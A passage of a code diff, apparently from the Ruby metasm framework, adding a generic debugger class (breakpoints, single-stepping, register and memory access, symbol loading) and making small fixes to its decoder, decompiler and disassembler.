+    if b = find_bp_hwbp
+      evt_hwbp(b)
+    else
+      evt_singlestep
+    end
+  end
+
+  # called when the target stops due to a memory exception caused by a memory bp
+  # called by evt_exception
+  def evt_bpm(b)
+    @state = :stopped
+    @info = 'bpm'
+
+    callback_bpm[b] if callback_bpm
+
+    post_evt_bp(b)
+  end
+
+  # return a bpm whose page coverage includes the fault described in info
+  def find_bp_bpm(info)
+    @breakpoint_memory[info[:fault_addr] & -0x1000]
+  end
+
+  # returns true if the fault described in info is valid to trigger b
+  def check_bpm_range(b, info)
+    return if b.address+b.internal[:len] <= info[:fault_addr]
+    return if b.address >= info[:fault_addr] + info[:fault_len]
+    case b.internal[:type]
+    when :r; info[:fault_access] == :r	# or info[:fault_access] == :x
+    when :w; info[:fault_access] == :w
+    when :x; info[:fault_access] == :x	# XXX non-NX cpu => check pc is in bpm range ?
+    when :rw; true
+    end
+  end
+
+  # handles breakpoint conditions/callbacks etc
+  def post_evt_bp(b)
+    @breakpoint_cause = b
+
+    found_valid_active = false
+
+    pre_callback_pc = pc
+
+    # XXX may have many active bps with callback that continue/singlestep/singlestep{}...
+    b.hash_shared.dup.find_all { |bb|
+      # ignore inactive bps
+      next if bb.state != :active
+
+      # ignore out-of-range bpms
+      next if bb.type == :bpm and not check_bpm_range(bb, b.internal)
+
+      # check condition
+      case bb.condition
+      when nil; cd = 1
+      when Proc; cd = bb.condition.call
+      when String, Expression; cd = resolve_expr(bb.condition)
+      else raise "unknown bp condition #{bb.condition.inspect}"
+      end
+      next if not cd or cd == 0
+
+      found_valid_active = true
+
+      # oneshot
+      del_bp(bb) if bb.oneshot
+
+      bb.action
+    }.each { |bb| bb.action.call }
+
+    # discard @breakpoint_cause if a bp callback did modify register_pc
+    @breakpoint_cause = nil if pc != pre_callback_pc
+
+    # we did break due to a bp whose condition is not true: resume
+    # (unless a callback already resumed)
+    resume_badbreak(b) if not found_valid_active and @state == :stopped
+  end
+
+  # called whenever the target stops due to an exception
+  # type may be:
+  # * 'access violation', :fault_addr, :fault_len, :fault_access (:r/:w/:x)
+  # anything else for other exceptions (access violation is special to handle bpm)
+  # ...
+  def evt_exception(info={})
+    if info[:type] == 'access violation' and b = find_bp_bpm(info)
+      info[:fault_len] ||= 1
+      b.internal.update info
+      return evt_bpm(b)
+    end
+
+    @state = :stopped
+    @info = "exception #{info[:type]}"
+
+    callback_exception[info] if callback_exception
+
+    pass = pass_all_exceptions
+    pass = pass[info] if pass.kind_of? Proc
+    if pass
+      pass_current_exception
+      resume_badbreak
+    end
+  end
+
+  def evt_newthread(info={})
+    @state = :stopped
+    @info = 'new thread'
+
+    callback_newthread[info] if callback_newthread
+
+    ign = ignore_newthread
+    ign = ign[info] if ign.kind_of? Proc
+    if ign
+      continue
+    end
+  end
+
+  def evt_endthread(info={})
+    @state = :stopped
+    @info = 'end thread'
+    # mark the thread as to be deleted on next check_pre_run
+    @dead_thread = true
+
+    callback_endthread[info] if callback_endthread
+
+    ign = ignore_endthread
+    ign = ign[info] if ign.kind_of? Proc
+    if ign
+      continue
+    end
+  end
+
+  def evt_newprocess(info={})
+    @state = :stopped
+    @info = 'new process'
+
+    callback_newprocess[info] if callback_newprocess
+  end
+
+  def evt_endprocess(info={})
+    @state = :stopped
+    @info = 'end process'
+    @dead_process = true
+
+    callback_endprocess[info] if callback_endprocess
+  end
+
+  def evt_loadlibrary(info={})
+    @state = :stopped
+    @info = 'loadlibrary'
+
+    callback_loadlibrary[info] if callback_loadlibrary
+  end
+
+  # called when we did break due to a breakpoint whose condition is invalid
+  # resume execution as if we never stopped
+  # disable offending bp + singlestep if needed
+  def resume_badbreak(b=nil)
+    # ensure we didn't delete b
+    if b and b.hash_shared.find { |bb| bb.state == :active }
+      rm = @run_method
+      if rm == :singlestep
+        singlestep_bp(b)
+      else
+        ra = @run_args
+        singlestep_bp(b) { send rm, *ra }
+      end
+    else
+      send @run_method, *@run_args
+    end
+  end
+
+  # singlesteps over an active breakpoint and run its block
+  # if the breakpoint provides an emulation stub, run that, otherwise
+  # disable the breakpoint, singlestep, and re-enable
+  def singlestep_bp(bp, &b)
+    if has_emul_instr(bp)
+      @state = :stopped
+      bp.emul_instr.call
+      b.call if b
+    else
+      bp.hash_shared.each { |bb|
+        disable_bp(bb, :temp_inactive) if bb.state == :active
+      }
+      # this *should* work with different bps stopping the current instr
+      prev_sscb = @singlestep_cb
+      singlestep {
+        bp.hash_shared.each { |bb|
+          enable_bp(bb) if bb.state == :temp_inactive
+        }
+        prev_sscb[] if prev_sscb
+        b.call if b
+      }
+    end
+  end
+
+  # checks if @breakpoint_cause is valid, or was obsoleted by the user changing pc
+  def check_breakpoint_cause
+    if bp = @breakpoint_cause and
+        (bp.type == :bpx or (bp.type == :hwbp and bp.internal[:type] == :x)) and
+        pc != bp.address
+      bp = @breakpoint_cause = nil
+    end
+    bp
+  end
+
+  # checks if the running target has stopped (nonblocking)
+  # returns false if no debug event happened
+  def check_target
+    do_check_target
+  end
+
+  # waits until the running target stops (due to a breakpoint, fault, etc)
+  def wait_target
+    do_wait_target while @state == :running
+  end
+
+  # resume execution of the target
+  # bypasses a software breakpoint on pc if needed
+  # thread breakpoints must be manually disabled before calling continue
+  def continue
+    if b = check_breakpoint_cause and b.hash_shared.find { |bb| bb.state == :active }
+      singlestep_bp(b) {
+        next if not check_pre_run(:continue)
+        do_continue
+      }
+    else
+      return if not check_pre_run(:continue)
+      do_continue
+    end
+  end
+  alias run continue
+
+  # continue ; wait_target
+  def continue_wait
+    continue
+    wait_target
+  end
+
+  # resume execution of the target one instruction at a time
+  def singlestep(&b)
+    @singlestep_cb = b
+    bp = check_breakpoint_cause
+    return if not check_pre_run(:singlestep)
+    if bp and bp.hash_shared.find { |bb| bb.state == :active } and has_emul_instr(bp)
+      @state = :stopped
+      bp.emul_instr.call
+      invalidate
+      evt_singlestep(true)
+    else
+      do_singlestep
+    end
+  end
+
+  # singlestep ; wait_target
+  def singlestep_wait(&b)
+    singlestep(&b)
+    wait_target
+  end
+
+  # tests if the specified instructions should be stepover() using singlestep or
+  # by putting a breakpoint at next_addr
+  def need_stepover(di = di_at(pc))
+    di and @cpu.dbg_need_stepover(self, di.address, di)
+  end
+
+  # stepover: singlesteps, but do not enter in subfunctions
+  def stepover
+    di = di_at(pc)
+    if need_stepover(di)
+      bpx di.next_addr, true, Expression[:tid, :==, @tid]
+      continue
+    else
+      singlestep
+    end
+  end
+
+  # stepover ; wait_target
+  def stepover_wait
+    stepover
+    wait_target
+  end
+
+  # checks if an instruction should stop the stepout() (eg it is a return instruction)
+  def end_stepout(di = di_at(pc))
+    di and @cpu.dbg_end_stepout(self, di.address, di)
+  end
+
+  # stepover until finding the last instruction of the function
+  def stepout
+    # TODO thread-local bps
+    while not end_stepout
+      stepover
+      wait_target
+    end
+    do_singlestep
+  end
+
+  def stepout_wait
+    stepout
+    wait_target
+  end
+
+  # set a singleshot breakpoint, run the process, and wait
+  def go(target, cond=nil)
+    bpx(target, true, cond)
+    continue_wait
+  end
+
+  # continue_wait until @state == :dead
+  def run_forever
+    continue_wait until @state == :dead
+  end
+
+  # decode the Instruction at the address, use the @disassembler cache if available
+  def di_at(addr)
+    @disassembler.di_at(addr) || @disassembler.disassemble_instruction(addr)
+  end
+
+  # list the general purpose register names available for the target
+  def register_list
+    @cpu.dbg_register_list
+  end
+
+  # hash { register_name => register_size_in_bits }
+  def register_size
+    @cpu.dbg_register_size
+  end
+
+  # retrieves the name of the register holding the program counter (address of the next instruction)
+  def register_pc
+    @cpu.dbg_register_pc
+  end
+
+  # retrieve the name of the register holding the stack pointer
+  def register_sp
+    @cpu.dbg_register_sp
+  end
+
+  # then name of the register holding the cpu flags
+  def register_flags
+    @cpu.dbg_register_flags
+  end
+
+  # list of flags available in the flag register
+  def flag_list
+    @cpu.dbg_flag_list
+  end
+
+  # retreive the value of the program counter register (eip)
+  def pc
+    get_reg_value(register_pc)
+  end
+  alias ip pc
+
+  # change the value of pc
+  def pc=(v)
+    set_reg_value(register_pc, v)
+  end
+  alias ip= pc=
+
+  # retrieve the value of the stack pointer register
+  def sp
+    get_reg_value(register_sp)
+  end
+
+  # update the stack pointer
+  def sp=(v)
+    set_reg_value(register_sp, v)
+  end
+
+  # retrieve the value of a flag (0/1)
+  def get_flag_value(f)
+    @cpu.dbg_get_flag(self, f)
+  end
+
+  # retrieve the value of a flag (true/false)
+  def get_flag(f)
+    get_flag_value(f) != 0
+  end
+
+  # change the value of a flag
+  def set_flag_value(f, v)
+    (v && v != 0) ? set_flag(f) : unset_flag(f)
+  end
+
+  # switch the value of a flag (true->false, false->true)
+  def toggle_flag(f)
+    set_flag_value(f, 1-get_flag_value(f))
+  end
+
+  # set the value of the flag to true
+  def set_flag(f)
+    @cpu.dbg_set_flag(self, f)
+  end
+
+  # set the value of the flag to false
+  def unset_flag(f)
+    @cpu.dbg_unset_flag(self, f)
+  end
+
+  # returns the name of the module containing addr or nil
+  def addr2module(addr)
+    @modulemap.keys.find { |k| @modulemap[k][0] <= addr and @modulemap[k][1] > addr }
+  end
+
+  # returns a string describing addr in term of symbol (eg 'libc.so.6!printf+2f')
+  def addrname(addr)
+    (addr2module(addr) || '???') + '!' +
+    if s = @symbols[addr] ? addr : @symbols_len.keys.find { |s_| s_ < addr and s_ + @symbols_len[s_] > addr }
+      @symbols[s] + (addr == s ? '' : ('+%x' % (addr-s)))
+    else '%08x' % addr
+    end
+  end
+
+  # same as addrname, but scan preceding addresses if no symbol matches
+  def addrname!(addr)
+    (addr2module(addr) || '???') + '!' +
+    if s = @symbols[addr] ? addr :
+        @symbols_len.keys.find { |s_| s_ < addr and s_ + @symbols_len[s_] > addr } ||
+        @symbols.keys.sort.find_all { |s_| s_ < addr and s_ + 0x10000 > addr }.max
+      @symbols[s] + (addr == s ? '' : ('+%x' % (addr-s)))
+    else '%08x' % addr
+    end
+  end
+
+  # loads the symbols from a mapped module
+  def loadsyms(addr, name='%08x'%addr.to_i)
+    if addr.kind_of? String
+      modules.each { |m|
+        if m.path =~ /#{addr}/i
+          addr = m.addr
+          name = File.basename m.path
+          break
+        end
+      }
+      return if not addr.kind_of? Integer
+    end
+    return if not peek = @memory.get_page(addr, 4)
+    if peek == "\x7fELF"
+      cls = LoadedELF
+    elsif peek[0, 2] == "MZ" and @memory[addr+@memory[addr+0x3c,4].unpack('V').first, 4] == "PE\0\0"
+      cls = LoadedPE
+    else return
+    end
+
+    begin
+      e = cls.load @memory[addr, 0x1000_0000]
+      e.load_address = addr
+      e.decode_header
+      e.decode_exports
+    rescue
+      # cache the error so that we dont hit it every time
+      @modulemap[addr.to_s(16)] ||= [addr, addr+0x1000]
+      return
+    end
+
+    if n = e.module_name and n != name
+      name = n
+    end
+
+    @modulemap[name] ||= [addr, addr+e.module_size]
+
+    cnt = 0
+    e.module_symbols.each { |n_, a, l|
+      cnt += 1
+      a += addr
+      @disassembler.set_label_at(a, n_, false)
+      @symbols[a] = n_	# XXX store "lib!sym" ?
+      if l and l > 1; @symbols_len[a] = l
+      else @symbols_len.delete a	# we may overwrite an existing symbol, keep len in sync
+      end
+    }
+    log "loaded #{cnt} symbols from #{name}"
+
+    true
+  end
+
+  # scan the target memory for loaded libraries, load their symbols
+  def scansyms(addr=0, max=@memory.length-0x1000-addr)
+    while addr <= max
+      loadsyms(addr)
+      addr += 0x1000
+    end
+  end
+
+  # load symbols from all libraries found by the OS module
+  def loadallsyms(&b)
+    modules.each { |m|
+      b.call(m.addr) if b
+      loadsyms(m.addr, m.path)
+    }
+  end
+
+  # see Disassembler#load_map
+  def load_map(str, off=0)
+    str = File.read(str) if File.exist?(str)
+    sks = @disassembler.sections.keys.sort
+    str.each_line { |l|
+      case l.strip
+      when /^([0-9A-F]+)\s+(\w+)\s+(\w+)/i    # kernel.map style
+        a = $1.to_i(16) + off
+        n = $3
+      when /^([0-9A-F]+):([0-9A-F]+)\s+([a-z_]\w+)/i  # IDA style
+        # see Disassembler for comments
+        a = sks[$1.to_i(16)] + $2.to_i(16) + off
+        n = $3
+      else next
+      end
+      @disassembler.set_label_at(a, n, false)
+      @symbols[a] = n
+    }
+
+  end
+
+  # parses the expression contained in arg
+  def parse_expr(arg)
+    parse_expr!(arg.dup)
+  end
+
+  # parses the expression contained in arg, updates arg to point after the expr
+  def parse_expr!(arg, &b)
+    return if not e = IndExpression.parse_string!(arg) { |s|
+      # handle 400000 -> 0x400000
+      # XXX no way to override and force decimal interpretation..
+      if s.length > 4 and not @disassembler.get_section_at(s.to_i) and @disassembler.get_section_at(s.to_i(16))
+        s.to_i(16)
+      else
+        s.to_i
+      end
+    }
+
+    # resolve ambiguous symbol names/hex values
+    bd = {}
+    e.externals.grep(::String).each { |ex|
+      if not v = register_list.find { |r| ex.downcase == r.to_s.downcase } ||
+            (b && b.call(ex)) || symbols.index(ex)
+        lst = symbols.values.find_all { |s| s.downcase.include? ex.downcase }
+        case lst.length
+        when 0
+          if ex =~ /^[0-9a-f]+$/i and @disassembler.get_section_at(ex.to_i(16))
+            v = ex.to_i(16)
+          else
+            raise "unknown symbol name #{ex}"
+          end
+        when 1
+          v = symbols.index(lst.first)
+          log "using #{lst.first} for #{ex}"
+        else
+          suggest = lst[0, 50].join(', ')
+          suggest = suggest[0, 125] + '...' if suggest.length > 128
+          raise "ambiguous symbol name #{ex}: #{suggest} ?"
+        end
+      end
+      bd[ex] = v
+    }
+    e = e.bind(bd)
+
+    e
+  end
+
+  # resolves an expression involving register values and/or memory indirection using the current context
+  # uses #register_list, #get_reg_value, @mem, @cpu
+  # :tid/:pid resolve to current thread
+  def resolve_expr(e)
+    e = parse_expr(e) if e.kind_of? ::String
+    bd = { :tid => @tid, :pid => @pid }
+    Expression[e].externals.each { |ex|
+      next if bd[ex]
+      case ex
+      when ::Symbol; bd[ex] = get_reg_value(ex)
+      when ::String; bd[ex] = @symbols.index(ex) || @disassembler.prog_binding[ex] || 0
+      end
+    }
+    Expression[e].bind(bd).reduce { |i|
+      if i.kind_of? Indirection and p = i.pointer.reduce and p.kind_of? ::Integer
+        i.len ||= @cpu.size/8
+        p &= (1 << @cpu.size) - 1 if p < 0
+        Expression.decode_imm(@memory, i.len, @cpu, p)
+      end
+    }
+  end
+  alias resolve resolve_expr
+
+  # return/yield an array of [addr, addr symbolic name] corresponding to the current stack trace
+  def stacktrace(maxdepth=500, &b)
+    @cpu.dbg_stacktrace(self, maxdepth, &b)
+  end
+
+  # accepts a range or begin/end address to read memory, or a register name
+  def [](arg0, arg1=nil)
+    if arg1
+      arg0 = resolve_expr(arg0) if not arg0.kind_of? ::Integer
+      arg1 = resolve_expr(arg1) if not arg1.kind_of? ::Integer
+      @memory[arg0, arg1].to_str
+    elsif arg0.kind_of? ::Range
+      arg0.begin = resolve_expr(arg0.begin) if not arg0.begin.kind_of? ::Integer	# cannot happen, invalid ruby Range
+      arg0.end = resolve_expr(arg0.end) if not arg0.end.kind_of? ::Integer
+      @memory[arg0].to_str
+    else
+      get_reg_value(arg0)
+    end
+  end
+
+  # accepts a range or begin/end address to write memory, or a register name
+  def []=(arg0, arg1, val=nil)
+    arg1, val = val, arg1 if not val
+    if arg1
+      arg0 = resolve_expr(arg0) if not arg0.kind_of? ::Integer
+      arg1 = resolve_expr(arg1) if not arg1.kind_of? ::Integer
+      @memory[arg0, arg1] = val
+    elsif arg0.kind_of? ::Range
+      arg0.begin = resolve_expr(arg0.begin) if not arg0.begin.kind_of? ::Integer	# cannot happen, invalid ruby Range
+      arg0.end = resolve_expr(arg0.end) if not arg0.end.kind_of? ::Integer
+      @memory[arg0] = val
+    else
+      set_reg_value(arg0, val)
+    end
+  end
+
+
+  # read an int from the target memory, int of sz bytes (defaults to cpu.size)
+  def memory_read_int(addr, sz=@cpu.size/8)
+    addr = resolve_expr(addr) if not addr.kind_of? ::Integer
+    Expression.decode_imm(@memory, sz, @cpu, addr)
+  end
+
+  # write an int in the target memory
+  def memory_write_int(addr, val, sz=@cpu.size/8)
+    addr = resolve_expr(addr) if not addr.kind_of? ::Integer
+    val = resolve_expr(val) if not val.kind_of? ::Integer
+    @memory[addr, sz] = Expression.encode_imm(val, sz, @cpu)
+  end
+
+  # retrieve an argument (call at a function entrypoint)
+  def func_arg(nr)
+    @cpu.dbg_func_arg(self, nr)
+  end
+  def func_arg_set(nr, val)
+    @cpu.dbg_func_arg_set(self, nr, val)
+  end
+
+  # retrieve a function returned value (call at func exitpoint)
+  def func_retval
+    @cpu.dbg_func_retval(self)
+  end
+  def func_retval_set(val)
+    @cpu.dbg_func_retval_set(self, val)
+  end
+  def func_retval=(val)
+    @cpu.dbg_func_retval_set(self, val)
+  end
+
+  # retrieve a function return address (call at func entry/exit)
+  def func_retaddr
+    @cpu.dbg_func_retaddr(self)
+  end
+  def func_retaddr_set(addr)
+    @cpu.dbg_func_retaddr_set(self, addr)
+  end
+  def func_retaddr=(addr)
+    @cpu.dbg_func_retaddr_set(self, addr)
+  end
+
+  def load_plugin(plugin_filename)
+    if not File.exist?(plugin_filename) and defined? Metasmdir
+      # try autocomplete
+      pf = File.join(Metasmdir, 'samples', 'dbg-plugins', plugin_filename)
+      if File.exist?(pf)
+        plugin_filename = pf
+      elsif File.exist?(pf + '.rb')
+        plugin_filename = pf + '.rb'
+      end
+    end
+    if (not File.exist?(plugin_filename) or File.directory?(plugin_filename)) and File.exist?(plugin_filename + '.rb')
+      plugin_filename += '.rb'
+    end
+
+    instance_eval File.read(plugin_filename)
+  end
+
+  # return the list of memory mappings of the current process
+  # array of [start, len, perms, infos]
+  def mappings
+    [[0, @memory.length]]
+  end
+
+  # return a list of Process::Modules (with a #path, #addr) for the current process
+  def modules
+    []
+  end
+
+  # list debugged pids
+  def list_debug_pids
+    @pid_stuff.keys | [@pid].compact
+  end
+
+  # return a list of OS::Process listing all alive processes (incl not debugged)
+  # default version only includes current debugged pids
+  def list_processes
+    list_debug_pids.map { |p| OS::Process.new(p) }
+  end
+
+  # check if pid is valid
+  def check_pid(pid)
+    list_processes.find { |p| p.pid == pid }
+  end
+
+  # list debugged tids
+  def list_debug_tids
+    @tid_stuff.keys | [@tid].compact
+  end
+
+  # list of thread ids existing in the current process (incl not debugged)
+  # default version only lists debugged tids
+  alias list_threads list_debug_tids
+
+  # check if tid is valid for the current process
+  def check_tid(tid)
+    list_threads.include?(tid)
+  end
+
+  # see EData#pattern_scan
+  # scans only mapped areas of @memory, using os_process.mappings
+  def pattern_scan(pat, start=0, len=@memory.length-start, &b)
+    ret = []
+    mappings.each { |maddr, mlen, perm, *o_|
+      next if perm !~ /r/i
+      mlen -= start-maddr if maddr < start
+      maddr = start if maddr < start
+      mlen = start+len-maddr if maddr+mlen > start+len
+      next if mlen <= 0
+      EncodedData.new(read_mapped_range(maddr, mlen)).pattern_scan(pat) { |off|
+        off += maddr
+        ret << off if not b or b.call(off)
+      }
+    }
+    ret
+  end
+
+  def read_mapped_range(addr, len)
+    # try to use a single get_page call
+    s = @memory.get_page(addr, len) || ''
+    s.length == len ? s : (s = @memory[addr, len] ? s.to_str : nil)
+  end
+end
+end
diff --git a/lib/metasm/metasm/decode.rb b/lib/metasm/metasm/decode.rb
index 56fc2a561f..7c0b1af609 100644
--- a/lib/metasm/metasm/decode.rb
+++ b/lib/metasm/metasm/decode.rb
@@ -134,9 +134,10 @@ class EncodedData
   # bytes from rawsize to virtsize are returned as zeroes
   # ignores self.relocations
   def read(len=@virtsize-@ptr)
-    len = @virtsize-@ptr if len > @virtsize-@ptr
-    str = (@ptr < @data.length) ? @data[@ptr, len] : ''
-    str = str.to_str.ljust(len, "\0") if str.length < len
+    vlen = len
+    vlen = @virtsize-@ptr if len > @virtsize-@ptr
+    str = (@ptr < @data.length) ? @data[@ptr, vlen] : ''
+    str = str.to_str.ljust(vlen, "\0") if str.length < vlen
     @ptr += len
     str
   end
@@ -182,7 +183,7 @@ class CPU
   # returns a DecodedInstruction or nil
   def decode_instruction(edata, addr)
     @bin_lookaside ||= build_bin_lookaside
-    di = decode_findopcode edata
+    di = decode_findopcode edata if edata.ptr <= edata.length
     di.address = addr if di
     di = decode_instr_op(edata, di) if di
     decode_instr_interpret(di, addr) if di
@@ -209,5 +210,35 @@ class CPU
   def delay_slot(di=nil)
     0
   end
+
+  def disassembler_default_func
+    DecodedFunction.new
+  end
+
+  # return something like backtrace_binding in the forward direction
+  # set pc_reg to some reg name (eg :pc) to include effects on the instruction pointer
+  def get_fwdemu_binding(di, pc_reg=nil)
+    fdi = di.backtrace_binding ||= get_backtrace_binding(di)
+    fdi = fix_fwdemu_binding(di, fdi)
+    if pc_reg
+      if di.opcode.props[:setip]
+        xr = get_xrefs_x(nil, di)
+        if xr and xr.length == 1
+          fdi[pc_reg] = xr[0]
+        else
+          fdi[:incomplete_binding] = Expression[1]
+        end
+      else
+        fdi[pc_reg] = Expression[pc_reg, :+, di.bin_length]
+      end
+    end
+    fdi
+  end
+
+  # patch a forward binding from the backtrace binding
+  # useful only on specific instructions that update a register *and* dereference that register (eg push)
+  def fix_fwdemu_binding(di, fbd)
+    fbd
+  end
 end
 end
diff --git a/lib/metasm/metasm/decompile.rb b/lib/metasm/metasm/decompile.rb
index a835f44946..6dc7bda9a3 100644
--- a/lib/metasm/metasm/decompile.rb
+++ b/lib/metasm/metasm/decompile.rb
@@ -69,7 +69,7 @@ class Decompiler
         @c_parser.toplevel.symbol.delete func.name
         decompile_func(entry)
         @recurse = pre_recurse
-        if not dcl = @c_parser.toplevel.statements.grep(C::Declaration).find { |decl| decl.var.name == func.name }
+        if not @c_parser.toplevel.statements.grep(C::Declaration).find { |decl| decl.var.name == func.name }
           @c_parser.toplevel.statements << C::Declaration.new(func)
         end
       end
@@ -208,7 +208,7 @@ class Decompiler
           @c_parser.toplevel.statements.delete_if { |ts| ts.kind_of? C::Declaration and ts.var.name == name }
           aoff = 1
           ptype.args.to_a.each { |a|
-                   aoff = (aoff + @c_parser.typesize[:ptr] - 1) / @c_parser.typesize[:ptr] * @c_parser.typesize[:ptr]
+            aoff = (aoff + @c_parser.typesize[:ptr] - 1) / @c_parser.typesize[:ptr] * @c_parser.typesize[:ptr]
             f.decompdata[:stackoff_type][aoff] ||= a.type
             f.decompdata[:stackoff_name][aoff] ||= a.name if a.name
             aoff += sizeof(a)	# ary ?
@@ -293,7 +293,7 @@ class Decompiler
           @dasm.function[ta] = DecodedFunction.new
           puts "autofunc #{Expression[ta]}" if $VERBOSE
         end
-        
+
         if @dasm.function[ta] and type != :subfuncret
           f = dasm.auto_label_at(ta, 'func')
           ta = dasm.normalize($1) if f =~ /^thunk_(.*)/
@@ -350,7 +350,7 @@ class Decompiler
             :include_start => i_s, :no_check => true, :terminals => [:frameptr])
         if vals.length == 1 and ee = vals.first and (ee.kind_of? Expression and (ee == Expression[:frameptr] or
             (ee.lexpr == :frameptr and ee.op == :+ and ee.rexpr.kind_of? ::Integer)))
- 					ee
+          ee
         else e
         end
         end
@@ -602,12 +602,12 @@ class Decompiler
       when C::If
         patch_test[ce.test]
         if ce.bthen.kind_of? C::Block
- 					case ce.bthen.statements.length
+          case ce.bthen.statements.length
           when 1
             walk(ce.bthen.statements) { |sst| sst.outer = ce.bthen.outer if sst.kind_of? C::Block and sst.outer == ce.bthen }
             ce.bthen = ce.bthen.statements.first
           when 0
- 						if not ce.belse and i = ce.bthen.outer.statements.index(ce)
+            if not ce.belse and i = ce.bthen.outer.statements.index(ce)
               ce.bthen.outer.statements[i] = ce.test	# TODO remove sideeffectless parts
             end
           end
@@ -1521,7 +1521,7 @@ class Decompiler
     tabidx = off / sizeof(st)
     off -= tabidx * sizeof(st)
     ptr = C::CExpression[:&, [ptr, :'[]', [tabidx]]] if tabidx != 0 or ptr.type.untypedef.kind_of? C::Array
-    return ptr if off == 0 and (not msz or 	# avoid infinite recursion with eg chained list
+    return ptr if off == 0 and (not msz or	# avoid infinite recursion with eg chained list
         (ptr.kind_of? C::CExpression and ((ptr.op == :& and not ptr.lexpr and s=ptr.rexpr) or (ptr.op == :'.' and s=ptr)) and
         not s.type.untypedef.kind_of? C::Union))
 
@@ -1656,13 +1656,12 @@ class Decompiler
           ce.rexpr = p if ce.rexpr == v1
         }
       }
-    
     }
   end
 
   # to be run with scope = function body with only CExpr/Decl/Label/Goto/IfGoto/Return, with correct variables types
   # will transform += 1 to ++, inline them to prev/next statement ('++x; if (x)..' => 'if (++x)..')
- 	# remove useless variables ('int i;', i never used or 'i = 1; j = i;', i never read after => 'j = 1;')
+  # remove useless variables ('int i;', i never used or 'i = 1; j = i;', i never read after => 'j = 1;')
   # remove useless casts ('(int)i' with 'int i;' => 'i')
   def optimize(scope)
     optimize_code(scope)
@@ -1871,7 +1870,7 @@ class Decompiler
     when ::Array; exp.any? { |_e| sideeffect _e, scope }
     when C::Variable; (scope and not scope.symbol[exp.name]) or exp.type.qualifier.to_a.include? :volatile
     when C::CExpression; (exp.op == :* and not exp.lexpr) or exp.op == :funcall or AssignOp.include?(exp.op) or
-               sideeffect(exp.lexpr, scope) or sideeffect(exp.rexpr, scope)
+        sideeffect(exp.lexpr, scope) or sideeffect(exp.rexpr, scope)
     else true	# failsafe
     end
   end
@@ -2009,7 +2008,7 @@ class Decompiler
       }.compact
 
       tw = to - [:write]
- 			if to.include? :split or tw.length > 1
+      if to.include? :split or tw.length > 1
         :split
       elsif tw.length == 1
         tw.first
@@ -2089,7 +2088,7 @@ class Decompiler
         if (e.op == :'++' or e.op == :'--') and v = (e.lexpr || e.rexpr) and v.kind_of? C::Variable and
             scope.symbol[v.name] and not v.type.qualifier.to_a.include? :volatile
           next if !((pos = :post.to_sym) and (oe = find_next_read_bl[label, i, v]) and oe.kind_of? C::CExpression) and
-               !((pos = :prev.to_sym) and (oe = find_prev_read[label, i-2, v]) and oe.kind_of? C::CExpression)
+            !((pos = :prev.to_sym) and (oe = find_prev_read[label, i-2, v]) and oe.kind_of? C::CExpression)
           next if oe.op == :& and not oe.lexpr	# no &(++eax)
 
           # merge pre/postincrement into next/prev var usage
@@ -2221,7 +2220,7 @@ class Decompiler
               }
               case cnt
               when 0
- 								break if bad
+                break if bad
                 next
               when 1	# good
                 break if e.complexity > 10 and ce_.complexity > 3	# try to keep the C readable
@@ -2443,7 +2442,7 @@ class Decompiler
       end
       # compare type.type cause var is an Array and the cast is a Pointer
       countderef[r.rexpr.name] += 1 if r.kind_of? C::CExpression and not r.op and r.rexpr.kind_of? C::Variable and
-                 sizeof(nil, r.type.type) == sizeof(nil, r.rexpr.type.type) rescue nil
+          sizeof(nil, r.type.type) == sizeof(nil, r.rexpr.type.type) rescue nil
     }
     vars.each { |n|
       if countref[n] == countderef[n]
@@ -2453,7 +2452,7 @@ class Decompiler
         v.initializer = v.initializer.first if v.initializer.kind_of? ::Array
         walk_ce(tl) { |ce|
           if ce.op == :'->' and C::CExpression[ce.lexpr] == C::CExpression[v]
-            ce.op = :'.' 
+            ce.op = :'.'
           elsif ce.lexpr == target
             ce.lexpr = v
           end
diff --git a/lib/metasm/metasm/disassemble.rb b/lib/metasm/metasm/disassemble.rb
index 27e910ede0..01a91eb803 100644
--- a/lib/metasm/metasm/disassemble.rb
+++ b/lib/metasm/metasm/disassemble.rb
@@ -233,6 +233,11 @@ class DecodedFunction
   attr_accessor :finalized
   # bool, if true the function does not return (eg exit() or ExitProcess())
   attr_accessor :noreturn
+  # hash stackoff => varname
+  # varname is a single String object shared by all ExpressionStrings (to allow renames)
+  attr_accessor :localvars
+  # hash stack offset => di address
+  attr_accessor :localvars_xrefs
 
   # if btbind_callback is defined, calls it with args [dasm, binding, funcaddr, calladdr, expr, origin, maxdepth]
   # else update lazily the binding from expr.externals, and return backtrace_binding
@@ -264,6 +269,16 @@ class DecodedFunction
     @backtracked_for = []
     @backtrace_binding = {}
   end
+
+  def get_localvar_stackoff(off, di=nil, str=nil)
+    if di
+      @localvars_xrefs ||= {}
+      @localvars_xrefs[off] ||= []
+      @localvars_xrefs[off] |= [di.address]
+    end
+    @localvars ||= {}
+    @localvars[off] ||= (str || (off > 0 ? 'arg_%X' % off : 'var_%X' % -off))
+  end
 end
 
 class CPU
@@ -438,7 +453,9 @@ class Disassembler
     when ::Integer
     when ::String
       raise "invalid section base #{base.inspect} - not at section start" if encoded.export[base] and encoded.export[base] != 0
-      raise "invalid section base #{base.inspect} - already seen at #{@prog_binding[base]}" if @prog_binding[base] and @prog_binding[base] != Expression[base]
+      if ed = get_edata_at(base)
+        ed.del_export(base)
+      end
       encoded.add_export base, 0
     else raise "invalid section base #{base.inspect} - expected string or integer"
     end
@@ -451,7 +468,7 @@ class Disassembler
 
     # update section_edata.reloc
     # label -> list of relocs that refers to it
-    @inv_section_reloc = {}
+    @inv_section_reloc ||= {}
     @sections.each { |b, e|
       e.reloc.each { |o, r|
         r.target.externals.grep(::String).each { |ext| (@inv_section_reloc[ext] ||= []) << [b, e, o, r] }
@@ -490,7 +507,7 @@ class Disassembler
         # ignore relocs embedded in an already-listed instr
         x << Xref.new(:reloc, addr) if not x.find { |x_|
           next if not x_.origin or not di_at(x_.origin)
-          (addr - x_.origin rescue 50) < @decoded[x_.origin].bin_length
+          (addr - x_.origin) < @decoded[x_.origin].bin_length rescue false
         }
       }
     end
@@ -505,9 +522,18 @@ class Disassembler
 
   # parses a C string for function prototypes
   def parse_c(str, filename=nil, lineno=1)
+    @c_parser_constcache = nil
     @c_parser ||= @cpu.new_cparser
     @c_parser.lexer.define_weak('__METASM__DECODE__')
     @c_parser.parse(str, filename, lineno)
+  rescue ParseError
+    @c_parser.lexer.feed! ''
+    raise
+  end
+
+  # list the constants ([name, integer value]) defined in the C code (#define / enums)
+  def c_constants
+    @c_parser_constcache ||= @c_parser.numeric_constants
   end
 
